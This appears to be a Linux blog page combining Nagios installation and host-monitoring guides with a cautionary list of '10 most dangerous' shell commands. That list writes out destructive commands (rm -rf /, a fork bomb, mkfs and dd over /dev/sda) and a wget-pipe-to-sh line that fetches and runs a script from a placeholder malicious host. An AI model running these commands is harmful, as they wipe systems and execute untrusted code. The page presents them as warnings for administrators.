LINUX


Thursday 26 December 2013

Nagios 4.0.1 Released – Install on RHEL/CentOS 6.x/5.x and Fedora 19/18/17

Nagios is an awesome Open Source monitoring tool, its provides you more comprehensive monitoring environment to always keep an eye on your all machines / networks whether you are in a your data center or just your small labs.
With Nagios, you can monitor your remote hosts and their services remotely on a single window. It shows warnings and indicates if something goes wrong in your servers which eventually helps us to detect some problems before they occur. It helps us to reduce downtime and business losses.
Recently, Nagios released its latest versions Nagios 4.0.1 on 15th October 2013, and its latest stable release of Nagios plugins 1.5.
This article is intended to guide you with easy instructions on how to install latest Nagios 4.0.1 from source (tarball) on RHEL 6.4/6.3/6.2/6.1/6/5.8, CentOS 6.4/6.3/6.2/6.1/6/5.8 and Fedora 19,18,17,16,15,14,13,12 distributions. Within 30 minutes you will be monitoring your local machine, no any advanced installation procedure only basic installation that will work 100% on most of the today’s Linux servers.
Please Note: The installation instructions were shown in here are written based on CentOS 6.4 Linux distribution.

Installing Nagios 4.0.1 and Nagios Plugin 1.5

If you follow these instructions correctly, you will end up with following information.
  1. Nagios and its plugins will be installed under /usr/local/nagios directory.
  2. Nagios will be configured to monitor few services of your local machine (Disk Usage, CPU Load, Current Users, Total Processes, etc.)
  3. Nagios web interface will be available at http://localhost/nagios

Step 1: Install Required Dependencies

We need to install Apache, PHP and some libraries like gcc, glibc, glibc-common and GD libraries and its development libraries before installing Nagios 4.0.1 with source. And to do so we can use yum default package installer.
[root@tecmint]# yum install -y httpd php gcc glibc glibc-common gd gd-devel make net-snmp  (RedHat / CentOS)

Step 2: Create Nagios User and Group

Create a new nagios user and nagcmd group account and set a password.
[root@tecmint]# useradd nagios
[root@tecmint]# groupadd nagcmd
Next, add both the nagios user and the apache user to the nagcmd group.
[root@tecmint]# usermod -G nagcmd nagios
[root@tecmint]# usermod -G nagcmd apache

Step 3: Download Nagios Core 4.0.1 and Nagios Plugin 1.5

Create a directory for your Nagios installation and all its future downloads.
[root@tecmint]# mkdir /root/nagios
[root@tecmint]# cd /root/nagios
Now download latest Nagios Core 4.0.1 and Nagios plugins 1.5 packages with wget command.
[root@tecmint nagios~]# wget http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-4.0.1.tar.gz
[root@tecmint nagios~]# wget https://www.nagios-plugins.org/download/nagios-plugins-1.5.tar.gz

Step 4: Extract Nagios Core and its Plugins

We need to extract downloaded package with tar command as follows.
[root@tecmint nagios~]# tar –xvf nagios-4.0.1.tar.gz
[root@tecmint nagios~]# tar –xvf nagios-plugins-1.5.tar.gz
When you extract these tarballs with tar command, two new folders will appear in that directory.
[root@tecmint nagios ~]# ll
total 3712
drwxrwxr-x 18 root root    4096 Oct 17 03:28 nagios-4.0.1
-rw-r--r--  1 root root 1695367 Oct 15 19:49 nagios-4.0.1.tar.gz
drwxr-xr-x 15  200  300    4096 Oct 14 10:18 nagios-plugins-1.5
-rw-r--r--  1 root root 2428258 Oct  2 11:27 nagios-plugins-1.5.tar.gz

Configure Nagios Core

Now, first we will configure Nagios Core and to do so we need to go to Nagios directory and run configure file and if everything goes fine, it will show the output in the end as sample output. Please see below.
[root@tecmint nagios~]# cd nagios-4.0.1
[root@tecmint nagios-4.0.1 ]# ./configure --with-command-group=nagcmd
Sample output:
Nagios executable:  nagios
        Nagios user/group:  nagios,nagios
       Command user/group:  nagios,nagcmd
             Event Broker:  yes
        Install ${prefix}:  /usr/local/nagios
    Install ${includedir}:  /usr/local/nagios/include/nagios
                Lock file:  ${prefix}/var/nagios.lock
   Check result directory:  ${prefix}/var/spool/checkresults
           Init directory:  /etc/rc.d/init.d
  Apache conf.d directory:  /etc/httpd/conf.d
             Mail program:  /bin/mail
                  Host OS:  linux-gnu

 Web Interface Options:
 ------------------------
                 HTML URL:  http://localhost/nagios/
                  CGI URL:  http://localhost/nagios/cgi-bin/
 Traceroute (used by WAP):  /bin/traceroute

Review the options above for accuracy.  If they look okay,
type 'make all' to compile the main program and CGIs.
Now, after configuring we need to Compile and install all the binaries with make command and make install command will install all the needed libraries in your machine and we can proceed further.
[root@tecmint nagios-4.0.1 ]# make all
[root@tecmint nagios-4.0.1 ]# make install
Sample output:
*** Main program, CGIs and HTML files installed ***

You can continue with installing Nagios as follows (type 'make'
without any arguments for a list of all possible options):

  make install-init
     - This installs the init script in /etc/rc.d/init.d

  make install-commandmode
     - This installs and configures permissions on the
       directory for holding the external command file

  make install-config
     - This installs sample config files in /usr/local/nagios/etc
Following command will install the init scripts for Nagios.
[root@tecmint nagios-4.0.1 ]# make install-init
To make nagios work from command line we need to install command-mode.
[root@tecmint nagios-4.0.1 ]# make install-commandmode
Next, install sample nagios files, please run following command.
[root@tecmint nagios-4.0.1 ]# make install-config
Sample output:
/usr/bin/install -c -m 775 -o nagios -g nagios -d /usr/local/nagios/etc
/usr/bin/install -c -m 775 -o nagios -g nagios -d /usr/local/nagios/etc/objects
/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/nagios.cfg /usr/local/nagios/etc/nagios.cfg
/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/cgi.cfg /usr/local/nagios/etc/cgi.cfg
/usr/bin/install -c -b -m 660 -o nagios -g nagios sample-config/resource.cfg /usr/local/nagios/etc/resource.cfg
/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/templates.cfg /usr/local/nagios/etc/objects/templates.cfg
/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/commands.cfg /usr/local/nagios/etc/objects/commands.cfg
/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/contacts.cfg /usr/local/nagios/etc/objects/contacts.cfg
/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/timeperiods.cfg /usr/local/nagios/etc/objects/timeperiods.cfg
/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/localhost.cfg /usr/local/nagios/etc/objects/localhost.cfg
/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/windows.cfg /usr/local/nagios/etc/objects/windows.cfg
/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/printer.cfg /usr/local/nagios/etc/objects/printer.cfg
/usr/bin/install -c -b -m 664 -o nagios -g nagios sample-config/template-object/switch.cfg /usr/local/nagios/etc/objects/switch.cfg

*** Config files installed ***

Remember, these are *SAMPLE* config files.  You'll need to read
the documentation for more information on how to actually define
services, hosts, etc. to fit your particular needs.

Step 5: Customizing Nagios Configuration

Open the “contacts.cfg” file with your choice of editor and set the email address associated with the nagiosadmin contact definition to receiving email alerts.
# vi /usr/local/nagios/etc/objects/contacts.cfg
Sample Output
###############################################################################
###############################################################################
#
# CONTACTS
#
###############################################################################
###############################################################################

# Just one contact defined by default - the Nagios admin (that's you)
# This contact definition inherits a lot of default values from the 'generic-contact'
# template which is defined elsewhere.

define contact{
       contact_name                    nagiosadmin             ; Short name of user
       use                             generic-contact         ; Inherit default values from generic-contact template (defined above)
       alias                           Nagios Admin            ; Full name of user

       email                           tecmint@tecmint.com     ; *** CHANGE THIS TO YOUR EMAIL ADDRESS ****
       }

Step 6: Install and Configure Web Interface for Nagios

We are done with all configuration in the backend, now we will configure Web Interface For Nagios with following command. The below command will Configure Web interface for Nagios and a web admin user will be created “nagiosadmin”.
[root@tecmint nagios-4.0.1 ]# make install-webconf
In this step, we will be creating a password for “nagiosadmin”. After executing this command, please provide a password twice and keep it remember because this password will be used when you login in the Nagios Web interface.
[root@tecmint nagios-4.0.1]# htpasswd -s -c /usr/local/nagios/etc/htpasswd.users nagiosadmin
New password:
Re-type new password:
Adding password for user nagiosadmin
Restart Apache to make the new settings take effect.
[root@tecmint ]# service httpd start (On RedHat / CentOS)
[root@tecmint ]# systemctl start httpd.service (On Fedora)

Step 7: Compile and Install Nagios Plugin

We have downloaded nagios plugins in /root/nagios, Go there and configure and install it as directed below.
[root@tecmint nagios]# cd /root/nagios
[root@tecmint nagios]# cd nagios-plugins-1.5
[root@tecmint nagios]# ./configure --with-nagios-user=nagios --with-nagios-group=nagios
[root@tecmint nagios]# make
[root@tecmint nagios]# make install

Step 8: Verify Nagios Configuration Files

Now we are all done with Nagios configuration and its time to verify it and to do so please insert following command. If everything goes smooth it will show up similar to below output.
[root@tecmint nagios]# /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg
Sample Output
/usr/bin/install -c -m 644 sample-config/httpd.conf /etc/httpd/conf.d/nagios.conf

*** Nagios/Apache conf file installed ***

 /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg
...
...
Total Warnings: 0
Total Errors:   0

Step 9: Add Nagios Services to System Startup

To make Nagios work across reboots, we need to add nagios and httpd with chkconfig command.
[root@tecmint ]# chkconfig --add nagios
[root@tecmint ]# chkconfig --level 35 nagios on
[root@tecmint ]# chkconfig --add httpd
[root@tecmint ]# chkconfig --level 35 httpd on
Restart Nagios to make the new settings take effect.
[root@tecmint ]# service nagios start (On RedHat / CentOS)
[root@tecmint ]# systemctl start nagios.service (On Fedora)

Step 10: Login to the Nagios Web Interface

Your nagios is ready to work, please open it in your browser with “http://Your-server-IP-address/nagios” or “http://FQDN/nagios” and Provide the username “nagiosadmin” and password.
Nagios Login
Nagios Login
Nagios Web Interface
Host View
Nagios Host View
Nagios Host View
Nagios Overview
Nagios Overview
Nagios Overview
Service View
Nagios Services
Nagios View Services
Process View
Nagios Process View
Process View
Congratulations! You’ve successfully installed and configured Nagios and its Plugins. You’ve just begin your journey into monitoring.

Upgrade Nagios 3.x to Nagios 4.0.1

If you are already running an older version of Nagios, you can upgrade it anytime. To do so, you just need to download the latest tar archive of it and configure it as shown below.
[root@tecmint ]# service nagios stop
[root@tecmint ]# tar –zxvf nagios-4.0.1.tar.gz
[root@tecmint ]# cd nagios-4.0.1
[root@tecmint ]# ./configure
[root@tecmint ]# make all
[root@tecmint ]# make install
[root@tecmint ]# service nagios start
That’s it for now, in my upcoming articles, I will show you how to add Linux, Windows, Printers, Switches and Devices to Nagios monitoring Server. If you’re having any trouble while installing, please do contact us via comments.

10 Most Dangerous Commands You Should Never Execute on Linux

1. rm -rf Command

The rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.
  1. rm command in Linux is used to delete files.
  2. rm -r command deletes the folder recursively, even the empty folder.
  3. rm -f command removes ‘Read only File’ without asking.
  4. rm -rf / : Force deletion of everything in root directory.
  5. rm -rf * : Force deletion of everything in current directory/working directory.
  6. rm -rf . : Force deletion of current folder and sub folders.
Hence, be careful when you are executing rm -rf command. To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion.

2. :(){:|:&};: Command

The above is actually a fork bomb. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
:(){:|:&};:

3. command > /dev/sda

The above command writes the output of ‘command‘ on the block /dev/sda. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.

4. mv folder /dev/null

The above command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed.
# mv /home/user/* /dev/null
The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to blackhole (null).

5. wget http://malicious_source -O- | sh

The above command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script.
Note: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.

6. mkfs.ext3 /dev/sda

The above command will format the block ‘sda’ and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.

7. > file

The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” will write the configuration file or any other system or configuration file.

8. ^foo^bar

This command, as described in our 10 Lesser Known Linux Commands, is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using ^foo^bar command.

9. dd if=/dev/random of=/dev/sda

The above command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.

10. Hidden the Command

The below command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition.
This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.

How to Add Linux Host to Nagios Monitoring Server Using NRPE Plugin

how to install and configure latest Nagios Core 4.0.1 on CentOS 6.4 server. In this article we will show you how to add Remote Linux machine and it’s services to Nagios Monitoring host using NRPE agent.
We hope you already having Nagios installed and running properly. If not, please use the following installation guide to install it on the system.
  1. Nagios 4.0.1 Installation Guide on RHEL/CentOS 6.x/5.x & Fedora 19/18/17
  2. How to Add Windows Host to Nagios Monitoring Server
Once you’ve installed, you can proceed further to install NRPE agent on your Remote Linux host. Before heading further, let us give you a short description about NRPE.

What is NRPE?

The NRPE (Nagios Remote Plugin Executor) plugin allows you to monitor any remote Linux/Unix services or network devices. This NRPE add-on allows Nagios to monitor any local resources like CPU load, Swap, Memory usage, Online users, etc. on remote Linux machines. After all, these local resources are not mostly exposed to external machines, an NRPE agent must be installed and configured on the remote machines.
Note: The NRPE addon requires that Nagios Plugins must be installed on the remote Linux machine. Without these, the NRPE daemon will not work and will not monitor anything.

Installation of NRPE Plugin

To use the NRPE, you will need to do some additional tasks on both the Nagios Monitoring Host and Remote Linux Host that the NRPE installed on. We will be covering both the installation parts separately.
We assume that you are installing the NRPE on a host that supports TCP wrappers and Xinted daemon installed on it. Today, most of the modern Linux distributions have these two installed by default. If not, we will install it later during the installation when required.

On Remote Linux Host

Please use the below instructions to install Nagios Plugins and NRPE daemon on the Remote Linux Host.
Step 1: Install Required Dependencies
We need to install required libraries like gcc, glibc, glibc-common and GD and its development libraries before installing.
[root@tecmint]# yum install -y gcc glibc glibc-common gd gd-devel make net-snmp openssl-devel
Step 2: Create Nagios User
Create a new nagios user account and set a password.
[root@tecmint]# useradd nagios
[root@tecmint]# passwd nagios
Step 3: Install the Nagios Plugins
Create a directory for installation and all its future downloads.
[root@tecmint]# cd /root/nagios
Now download latest Nagios Plugins 1.5 package with wget command.
[root@tecmint nagios~]# wget https://www.nagios-plugins.org/download/nagios-plugins-1.5.tar.gz
Step 4: Extract Nagios Plugins
Run the following tar command to extract the source code tarball.
[root@tecmint nagios~]# tar –xvf nagios-plugins-1.5.tar.gz
After, extracting one new folder will appear in that directory.
[root@tecmint nagios ~]# ll

drwxr-xr-x 15    200    300    4096 Oct  2 20:57 nagios-plugins-1.5
-rw-r--r--  1 root   root   2428258 Oct  2 20:57 nagios-plugins-1.5.tar.gz
Step 5: Compile and Install Nagios Plugins
Next, compile and install using following commands
[root@tecmint nagios]# cd nagios-plugins-1.5
[root@tecmint nagios]# ./configure 
[root@tecmint nagios]# make
[root@tecmint nagios]# make install
Set the permissions on the plugin directory.
[root@tecmint nagios]# chown nagios.nagios /usr/local/nagios
[root@tecmint nagios]# chown -R nagios.nagios /usr/local/nagios/libexec
Step 6: Install Xinetd
Most of the systems, its by default installed. If not, install xinetd package using following yum command.
[root@tecmint nagios]# yum install xinetd
Step 7: Install NRPE Plugin
Download latest NRPE Plugin 2.15 packages with wget command.
[root@tecmint]# cd /root/nagios
[root@tecmint]# wget http://garr.dl.sourceforge.net/project/nagios/nrpe-2.x/nrpe-2.15/nrpe-2.15.tar.gz
Unpack the NRPE source code tarball.
[root@tecmint]# tar xzf nrpe-2.15.tar.gz
[root@tecmint]# cd nrpe-2.15
Compile and install the NRPE addon.
[root@tecmint]# ./configure
[root@tecmint]# make all
Next, install the NRPE plugin daemon, and sample daemon config file.
[root@tecmint]# make install-plugin
[root@tecmint]# make install-daemon
[root@tecmint]# make install-daemon-config
Install the NRPE daemon under xinetd as a service.
[root@tecmint]# make install-xinetd
Now open /etc/xinetd.d/nrpe file and add the localhost and IP address of the Nagios Monitoring Server.
only_from = 127.0.0.1 localhost <nagios_ip_address>
Next, open /etc/services file add the following entry for the NRPE daemon at the bottom of the file.
nrpe            5666/tcp                 NRPE
Restart the xinetd service.
[root@tecmint]# service xinetd restart
Step 8: Verify NRPE Daemon Locally
Run the following command to verify the NRPE daemon working correctly under xinetd.
[root@tecmint]# netstat -at | grep nrpe

tcp        0      0 *:nrpe                      *:*                         LISTEN
If you get output similar to above, means it working correctly. If not, make sure to check the following things.
  1. Check you’ve added nrpe entry correctly in /etc/services file
  2. The only_from contains an entry for “nagios_ip_address” in the /etc/xinetd.d/nrpe file.
  3. The xinetd is installed and started.
  4. Check for the errors in the system log files for about xinetd or nrpe and fix those problems.
Next, verify the NRPE daemon is functioning properly. Run the “check_nrpe” command that was installed earlier for testing purposes.
[root@tecmint]# /usr/local/nagios/libexec/check_nrpe -H localhost
You will get a following string on the screen, it shows you what version of NRPE is installed:
NRPE v2.15
Step 9: Configure Firewall Rules
Make sure that the Firewall on the local machine will allow the NRPE daemon to be accessed from remote servers. To do this, run the following iptables command.
[root@tecmint]# iptables -A INPUT -p tcp -m tcp --dport 5666 -j ACCEPT
Run the following command to Save the new iptables rule so it will survive at system reboots.
[root@tecmint]# service iptables save
Step 10: Customize NRPE commands
The default NRPE configuration file that got installed has several command definitions that will be used to monitor this machine. The sample configuration file located at.
[root@tecmint]# vi /usr/local/nagios/etc/nrpe.cfg
The following are the default command definitions that are located at the bottom of the configuration file. For the time being, we assume you are using these commands. You can check them by using the following commands.
# /usr/local/nagios/libexec/check_nrpe -H localhost -c check_users

USERS OK - 1 users currently logged in |users=1;5;10;0
# /usr/local/nagios/libexec/check_nrpe -H localhost -c check_load

OK - load average: 3.90, 4.37, 3.94|load1=3.900;15.000;30.000;0; load5=4.370;10.000;25.000;0; load15=3.940;5.000;20.000;0;
# /usr/local/nagios/libexec/check_nrpe -H localhost -c check_hda1

DISK OK - free space: /boot 154 MB (84% inode=99%);| /boot=29MB;154;173;0;193
# /usr/local/nagios/libexec/check_nrpe -H localhost -c check_total_procs

PROCS CRITICAL: 297 processes
# /usr/local/nagios/libexec/check_nrpe -H localhost -c check_zombie_procs

PROCS OK: 0 processes with STATE = Z
You can edit and add new command definitions by editing the NRPE config file. Finally, you’ve successfully installed and configured NRPE agent on the Remote Linux Host. Now it’s time to install a NRPE component and add some services on your Nagios Monitoring Server

On Nagios Monitoring Server

Now login into your Nagios Monitoring Server. Here you will need to do following things:
  1. Install the check_nrpe plugin.
  2. Create a Nagios command definition using the check_nrpe plugin.
  3. Create Nagios host and add service definitions for monitoring the remote Linux host.
Step 1: Install NRPE Plugin
Go to the nagios download directory and download latest NRPE Plugin with wget command.
[root@tecmint]# cd /root/nagios
[root@tecmint]# wget http://garr.dl.sourceforge.net/project/nagios/nrpe-2.x/nrpe-2.15/nrpe-2.15.tar.gz
Unpack the NRPE source code tarball.
[root@tecmint]# tar xzf nrpe-2.15.tar.gz
[root@tecmint]# cd nrpe-2.15
Compile and install the NRPE addon.
[root@tecmint]# ./configure
[root@tecmint]# make all
[root@tecmint]# make install-daemon
Step 2: Verify NRPE Daemon Remotely
Make sure that the check_nrpe plugin can communicate with the NRPE daemon on the remote Linux host. Add the IP address in the command below with the IP address of your Remote Linux host.
[root@tecmint]# /usr/local/nagios/libexec/check_nrpe -H <remote_linux_ip_address>
You will get a string back that shows you what version of NRPE is installed on the remote host, like this:
NRPE v2.15
If your receive a plugin time-out error, then check the following things.
  1. Make sure your firewall isn’t blocking the communication between the remote host and the monitoring host.
  2. Make sure that the NRPE daemon is installed correctly under xinetd.
  3. Make sure that the remote Linux host firewall rules blocking the monitoring server from communicating to the NRPE daemon.

Adding Remote Linux Host to Nagios Monitoring Server

To add a remote host you need to create a two new files “hosts.cfg” and “services.cfg” under “/usr/local/nagios/etc/” location.
[root@tecmint]# cd /usr/local/nagios/etc/
[root@tecmint]# touch hosts.cfg
[root@tecmint]# touch services.cfg
Now add these two files to main Nagios configuration file. Open nagios.cfg file with any editor.
[root@tecmint]# vi /usr/local/nagios/etc/nagios.cfg
Now add the two newly created files as shown below.
# You can specify individual object config files as shown below:
cfg_file=/usr/local/nagios/etc/hosts.cfg
cfg_file=/usr/local/nagios/etc/services.cfg
Now open hosts.cfg file and add the default host template name and define remote hosts as shown below. Make sure to replace host_name, alias and address with your remote host server details.
[root@tecmint]# vi /usr/local/nagios/etc/hosts.cfg
## Default Linux Host Template ##
define host{
name                            linux-box               ; Name of this template
use                             generic-host            ; Inherit default values
check_period                    24x7        
check_interval                  5       
retry_interval                  1       
max_check_attempts              10      
check_command                   check-host-alive
notification_period             24x7    
notification_interval           30      
notification_options            d,r     
contact_groups                  admins  
register                        0                       ; DONT REGISTER THIS - ITS A TEMPLATE
}

## Default
define host{
use                             linux-box               ; Inherit default values from a template
host_name                       tecmint          ; The name we're giving to this server
alias                           CentOS 6                ; A longer name for the server
address                         5.175.142.66            ; IP address of Remote Linux host
}
Next open services.cfg file add the following services to be monitored.
[root@tecmint]# vi /usr/local/nagios/etc/services.cfg
define service{
        use                     generic-service
        host_name               tecmint
        service_description     CPU Load
        check_command           check_nrpe!check_load
        }

define service{
        use                     generic-service
        host_name               tecmint
        service_description     Total Processes
        check_command           check_nrpe!check_total_procs
        }

define service{
        use                     generic-service
        host_name               tecmint
        service_description     Current Users
        check_command           check_nrpe!check_users
        }

define service{
        use                     generic-service
        host_name               tecmint
        service_description     SSH Monitoring
        check_command           check_nrpe!check_ssh
        }

define service{
        use                     generic-service
        host_name               tecmint
        service_description     FTP Monitoring
        check_command           check_nrpe!check_ftp
        }
Now NRPE command definition needs to be created in commands.cfg file.
[root@tecmint]# vi /usr/local/nagios/etc/objects/commands.cfg
Add the following NRPE command definition at the bottom of the file.
###############################################################################
# NRPE CHECK COMMAND
#
# Command to use NRPE to check remote host systems
###############################################################################

define command{
        command_name check_nrpe
        command_line $USER1$/check_nrpe -H $HOSTADDRESS$ -c $ARG1$
        }
Finally, verify Nagios Configuration files for any errors.
[root@tecmint]# /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg

Total Warnings: 0
Total Errors:   0
Restart Nagios:
[root@tecmint]# service nagios restart
That’s it. Now go to Nagios Monitoring Web interface at “http://Your-server-IP-address/nagios” or “http://FQDN/nagios” and Provide the username “nagiosadmin” and password. Check that the Remote Linux Host was added and is being monitored.
Nagios Remote Host Monitoring

How to Add Windows Host to Nagios Monitoring Server

how to monitor Windows machines “private” services such as CPU load, Disk usage, Memory usage, Services, etc. For this, we required to install an NSClient++ addon on the Windows machine. The addon acts a proxy between the Windows machine and Nagios and monitors actual services by communicating with the check_nt plugin. The check_nt plugin already installed on the Nagios Monitoring Server, if you followed our Nagios installation guide.
We assume that you’ve already installed and configured Nagios server according to our following guides.
  1. How to Install Nagios 4.0.1 on RHEL/CentOS 6.x/5.x and Fedora 19/18/17
  2. Add Linux Host to Nagios Monitoring Server
To monitor Windows Machines you will need to follow several steps and they are:
  1. Install NSClient++ addon on the Windows Machine.
  2. Configure Nagios Server for monitoring Windows Machine.
  3. Add new host and service definitions for Windows machine monitoring.
  4. Restart the Nagios Service.
To make this guide simple and easier, a few of configuration already done for you in the Nagios installation.
  1. A check_nt command definition already added to the command.cfg file. This definition command is used by check_nt plugin to monitor Windows services.
  2. A windows-server host template already created in the templates.cfg file. This template allows you to add new Windows host definitions.
The above two files “command.cfg” and “templates.cfg” files can be found at /usr/local/nagios/etc/objects/ directory. You can modify and add your own definitions that suits your requirement. But, I’d recommend you to follow the instructions described in this article and you will be successfully monitoring your windows host in less than 20 minutes.

Step 1: Installing NSClient++ Agent on Windows Machine

Please use the below instructions to install NSClient++ Agent on the Remote Windows Host. First download the latest stable version NSClient++ 0.3.1 addon source files, which can be found at below link.
  1. http://sourceforge.net/projects/nscplus/
Once you’ve downloaded latest stable version, unzip the NSClient++ files into a new C:\NSClient++ directory.
Now open a MS-DOS command prompt from the Start Screen –> Run –> type ‘cmd‘ and press enter and change to the C:\NSClient++ directory.
C:\NSClient++
Next, register the NSClient++ service on the system with the following command.
nsclient++ /install
Finally, install the NSClient++ systray with the following command.
nsclient++ SysTray
Open the Windows Services Manager and right click on NSClient go to Properties and then ‘Log On‘ tab and click the check box that says “Allow service to interact with the desktop“. If it isn’t already allowed, please check the box to allow it to.
Install NSClient++
Install NSClient++
Open NSC.INI file located at C:\NSClient++ directory and uncomment all the modules defined in the “modules” section, except for CheckWMI.dll and RemoteConfiguration.dll.
[modules]
;# NSCLIENT++ MODULES
;# A list with DLLs to load at startup.
;  You will need to enable some of these for NSClient++ to work.
; ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !
; *                                                               *
; * N O T I C E ! ! ! - Y O U   H A V E   T O   E D I T   T H I S *
; *                                                               *
; ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !
FileLogger.dll
CheckSystem.dll
CheckDisk.dll
NSClientListener.dll
NRPEListener.dll
SysTray.dll
CheckEventLog.dll
CheckHelpers.dll
;CheckWMI.dll
;
; RemoteConfiguration IS AN EXTREM EARLY IDEA SO DONT USE FOR PRODUCTION ENVIROMNEMTS!
;RemoteConfiguration.dll
; NSCA Agent is a new beta module use with care!
;NSCAAgent.dll
; LUA script module used to write your own "check deamon" (sort of) early beta.
;LUAScript.dll
; Script to check external scripts and/or internal aliases, early beta.
;CheckExternalScripts.dll
; Check other hosts through NRPE extreme beta and probably a bit dangerous! :)
;NRPEClient.dll
Uncomment the “allowed_hosts” in the “Settings” section and define the IP address of your Nagios Monitoring Server or leave it blank to allow any hosts to connect.
[Settings]
;# ALLOWED HOST ADDRESSES
;  This is a comma-delimited list of IP address of hosts that are allowed to talk to the all daemons.
;  If leave this blank anyone can access the deamon remotly (NSClient still requires a valid password).
;  The syntax is host or ip/mask so 192.168.0.0/24 will allow anyone on that subnet access
allowed_hosts=172.16.27.41
Uncomment the “port” in the “NSClient” section and set to default port ‘12489‘. Make sure to open ‘12489‘ port on Windows Firewall.
[NSClient]
;# NSCLIENT PORT NUMBER
;  This is the port the NSClientListener.dll will listen to.
port=12489
Finally start the NSClient++ service with the following command.
nsclient++ /start
If your properly installed and configured, you should see a new icon in the system tray in yellow circle with a black ‘M‘ inside.

Step 2: Configuring Nagios Server and Add Windows Hosts

Now Login into Nagios Server and add some object definitions in Nagios configuration files to monitor new Windows machine. Open windows.cfg file for editing with Vi editor.
[root@tecmint]# vi /usr/local/nagios/etc/objects/windows.cfg
A sample Windows host definition already defined for the Windows machine, you can simply change the host definition like host_name, alias, and address fields to appropriate values of your Windows machine.
###############################################################################
###############################################################################
#
# HOST DEFINITIONS
#
###############################################################################
###############################################################################

# Define a host for the Windows machine we'll be monitoring
# Change the host_name, alias, and address to fit your situation

define host{
        use             windows-server  ; Inherit default values from a template
        host_name       winserver       ; The name we're giving to this host
        alias           My Windows Server       ; A longer name associated with the host
        address         172.31.41.53    ; IP address of the host
        }
Following services are already added and enabled in windows.cfg file. If you wish to add some more other service definitions that needs to be monitored, you can simple add those definitions to same configuration file. Make sure to change the host_name for these all services with host_name defined in the above step.
define service{
 use   generic-service
 host_name  winserver
 service_description NSClient++ Version
 check_command  check_nt!CLIENTVERSION
 }

Add the following service definition to monitor the uptime of the Windows server.

define service{
 use   generic-service
 host_name  winserver
 service_description Uptime
 check_command  check_nt!UPTIME
 }

Add the following service definition to monitor the CPU utilization on the Windows server and generate a CRITICAL alert if the 5-minute CPU load is 90% or more or a WARNING alert if the 5-minute load is 80% or greater.

define service{
 use   generic-service
 host_name  winserver
 service_description CPU Load
 check_command  check_nt!CPULOAD!-l 5,80,90
 }

Add the following service definition to monitor memory usage on the Windows server and generate a CRITICAL alert if memory usage is 90% or more or a WARNING alert if memory usage is 80% or greater.

define service{
 use   generic-service
 host_name  winserver
 service_description Memory Usage
 check_command  check_nt!MEMUSE!-w 80 -c 90
 }

Add the following service definition to monitor usage of the C:\ drive on the Windows server and generate a CRITICAL alert if disk usage is 90% or more or a WARNING alert if disk usage is 80% or greater.

define service{
 use   generic-service
 host_name  winserver
 service_description C:\ Drive Space
 check_command  check_nt!USEDDISKSPACE!-l c -w 80 -c 90
 }

Add the following service definition to monitor the W3SVC service state on the Windows machine and generate a CRITICAL alert if the service is stopped.

define service{
 use   generic-service
 host_name  winserver
 service_description W3SVC
 check_command  check_nt!SERVICESTATE!-d SHOWALL -l W3SVC
 }

Add the following service definition to monitor the Explorer.exe process on the Windows machine and generate a CRITICAL alert if the process is not running.

define service{
 use   generic-service
 host_name  winserver
 service_description Explorer
 check_command  check_nt!PROCSTATE!-d SHOWALL -l Explorer.exe
 }
Lastly, uncomment the windows.cfg file in /usr/local/nagios/etc/nagios.cfg.
[root@tecmint]# vi /usr/local/nagios/etc/nagios.cfg
# Definitions for monitoring a Windows machine
cfg_file=/usr/local/nagios/etc/objects/windows.cfg
Finally, verify the Nagios configuration files for any erros.
[root@tecmint]# /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg
Total Warnings: 0
Total Errors:   0

Things look okay - No serious problems were detected during the pre-flight check
If the verification process throws any error messages, fix those errors until the verification process completes without any error messages. Once’ you fix those errors, restart the Nagios service.
[root@tecmint]# service nagios restart

Running configuration check...done.
Stopping nagios: done.
Starting nagios: done.
That’s it. Now go to Nagios Monitoring Web interface at “http://Your-server-IP-address/nagios” or “http://FQDN/nagios” and Provide the username “nagiosadmin” and password. Check that the Remote Windows Host was added and is being monitored.